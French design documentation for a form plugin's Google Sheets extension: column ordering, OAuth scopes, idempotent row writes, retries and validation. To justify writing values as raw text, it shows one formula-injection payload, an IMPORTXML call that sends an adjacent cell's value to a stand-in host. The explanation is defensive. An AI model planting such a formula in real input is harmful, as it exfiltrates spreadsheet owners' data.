Aller au contenu

Google Sheets

Extension payante. Chaque soumission ajoute une ligne à un onglet d’un classeur Google, dans l’ordre de colonnes que vous décidez.

Ce document décrit ce que le module garantit et ce qu’il refuse. Le guide utilisateur en donne la version courte, dans la section « Envoyer les réponses vers un tableur Google ».

Un tableur n’a pas de champs : il a des positions

Tout le module tient dans cette phrase.

Un CRM reçoit email => camille@exemple.test : le nom voyage avec la valeur, et l’ordre n’a aucune importance. Un tableur reçoit A2 = camille@exemple.test. Si la correspondance change, la valeur ne change pas de nom — elle change de colonne, et les lignes déjà écrites restent où elles sont.

D’où un réglage qui est une liste ordonnée, et non une table de correspondances. La première colonne associée devient A, la deuxième B. Réordonner un tableur déjà rempli reste possible, mais c’est un geste visible, pas un effet de bord.

Un champ supprimé du formulaire laisse sa colonne vide. C’est la même règle vue de l’autre côté : retirer la colonne décalerait toutes les suivantes, et les lignes déjà écrites ne se décaleraient pas avec elles. Chaque valeur se retrouverait sous le mauvais en-tête — un tableur dont les colonnes mentent est pire qu’un tableur avec un trou. L’écran montre la colonne vide et propose de la réassocier.

Vingt-six colonnes au plus, A à Z. Au-delà, un tableur de réponses n’est plus ce qu’on consulte ; c’est un export qu’on filtre, et l’export CSV le fait mieux.

Aucune réponse ne devient une formule

C’est la défense qui compte le plus ici, et elle tient dans un paramètre : valueInputOption=RAW.

Avec USER_ENTERED — la valeur que l’API prend si on ne dit rien de contraire — Google interprète ce qu’il reçoit comme si quelqu’un l’avait tapé. Un visiteur qui écrit =IMPORTXML("https://ailleurs.test/collecte?x="&A2;"//a") dans un champ texte obtient une formule vivante dans le classeur du client : elle s’exécute à l’ouverture, depuis le compte Google du client, et elle emporte la cellule d’à côté.

RAW écrit le texte. Le classeur montre =IMPORTXML(…) et ne fait rien d’autre.

Les champs fichier, signature, paiement et mot de passe ne partent jamais, même associés de force à une colonne : l’adresse d’un téléversement est un accès permanent au fichier, et un tableur se partage d’un clic. Les champs marqués sensibles sont déjà écartés en amont, par la mise en forme commune à toutes les intégrations.

La portée demandée dépend de qui crée le classeur

Google ne propose rien entre « aucun accès » et spreadsheets, qui couvre tous les classeurs du compte. Il n’existe pas de portée « ce classeur-là ».

La connexion demande donc les deux portées : spreadsheets, sans laquelle désigner un classeur existant est impossible, et drive.file, qui couvre les fichiers créés par l’application. L’écran l’écrit en toutes lettres plutôt que de le faire accepter sans le nommer, et nomme les deux façons de s’en tenir à l’étroit :

Laisser le module créer le classeur. Un fichier qu’il a créé relève de drive.file : même si l’autorisation porte la portée large, il n’y a rien d’autre à viser, et le bouton de création est sur l’écran, sous le bandeau.

Dédier un compte Google à l’intégration. C’est le même problème pris par l’autre bout : la portée reste large, mais le compte ne contient que ce qu’on y met. C’est la réponse habituelle quand le classeur existe déjà.

L’en-tête se pose une fois, avant la première ligne

Un en-tête posé à chaque envoi sèmerait des lignes de titres au milieu des données. Un en-tête posé « si la feuille est vide » interrogerait la feuille à chaque soumission, pour une question dont la réponse ne change qu’une fois.

Le module retient donc qu’il a déjà écrit dans ce classeur et cet onglet, et pose l’en-tête avant la première ligne de données seulement. Changer d’onglet en repose un ; revenir à un onglet déjà alimenté n’en repose pas.

L’en-tête porte les libellés des champs au moment où il est écrit. Renommer un champ ensuite ne réécrit pas l’en-tête : les lignes déjà là ont été écrites sous l’ancien nom, et le réécrire les rendrait fausses rétroactivement.

Une soumission, une ligne — et la garantie est locale

Sheets n’a ni clé, ni contrainte d’unicité, ni opération « ajouter si absent ». L’API accepte autant de lignes identiques qu’on lui en envoie. L’idempotence ne peut donc pas venir du tableur : elle vient d’ici.

UNIQUE (soumission) sur la table de suivi, et une prise de ligne — UPDATE … WHERE état <> 'écrite' avec un bail de temps — qui décide laquelle de deux tâches qui se croisent écrit réellement. Deux tâches se croisent dès qu’une réponse de Google tarde plus que l’intervalle de reprise, ce qui arrive.

Il reste un cas que rien de local ne couvre : la ligne est écrite, puis la réponse se perd. Ici, la tâche croit avoir échoué et rejoue ; le tableur a deux lignes. C’est à cela — et à rien d’autre — que sert la colonne technique facultative : elle porte une référence par soumission, slf-<site>-<numéro>, qui rend le doublon repérable d’un tri. Le numéro seul ne suffirait pas : deux sites qui alimentent le même classeur ont tous deux une soumission numéro 42.

Ce qui n’est pas tenté, et ce qui est rejoué

Rien n’est programmé si la connexion manque, si aucune colonne n’est associée, si l’onglet est vide, ou si la condition du formulaire n’est pas remplie. Une soumission marquée indésirable ne part pas, même si la tâche était déjà en file.

Les refus définitifs ne sont pas rejoués : 404 pour un classeur supprimé ou déplacé hors d’atteinte, 403 pour un partage retiré. Chaque reprise consommerait le quota d’API du client pour obtenir le même refus, et l’écran de la soumission porte le motif.

Les 429 et les 5xx le sont, à 1, 5 puis 30 minutes. Google rend beaucoup de 429 : sa limite est par minute, et une rafale de soumissions la franchit sans que rien n’ait mal tourné.

Un 401 donne droit à un renouvellement de session immédiat, puis à un second essai — une fois, pas en boucle.

Une panne Google ne bloque jamais la soumission. Elle est enregistrée, confirmée au visiteur et notifiée par courriel avant que ce module ne soit sollicité ; la ligne du tableur vient après, et son échec n’est visible que dans le journal des envois.

Le nom de l’onglet entre dans l’adresse appelée

Après la plage, et une apostrophe ou un point d’exclamation y changeraient la plage visée. Les noms contenant [ ] * ? : / \ ' sont donc refusés à l’enregistrement — Google les interdit d’ailleurs lui-même, mais son 400 ne parle pas du nom.

L’identifiant du classeur est extrait de l’adresse que vous collez : https://docs.google.com/spreadsheets/d/<identifiant>/edit et l’identifiant nu sont tous deux acceptés, parce que c’est l’adresse qu’on a sous la main.

La liste des onglets est lue par une route d’administration réservée au réglage de l’extension. Elle demande explicitement les seuls titres : lire les onglets n’est pas lire la feuille.

Ce que le journal ne contient pas

Ni les valeurs envoyées, ni les jetons. Le journal des envois survit à la soumission ; il porte l’état, la plage écrite et le motif d’un éventuel refus.

Schéma

slf_sheets_rows : une ligne par soumission, avec le classeur, l’onglet, la plage écrite, la référence, l’état, le motif du dernier problème et le nombre de tentatives. Elle disparaît avec la soumission.

La connexion vit dans une option, jetons chiffrés avec une clé propre à l’intégration — distincte de celle du stockage Google Drive, pour que casser l’une n’ouvre pas les jetons de l’autre.

Ce que la V1 ne fait pas

Pas de mise à jour d’une ligne existante — une soumission modifiée ici ne réécrit pas sa ligne là-bas. Supprimer une soumission ici efface sa ligne de suivi, pas sa ligne là-bas : le tableur est un registre, et effacer une ligne au milieu décalerait tout ce qui suit pour qui a mis des formules à côté. Pas de lecture, pas de plus de vingt-six colonnes, et pas de plusieurs onglets par formulaire.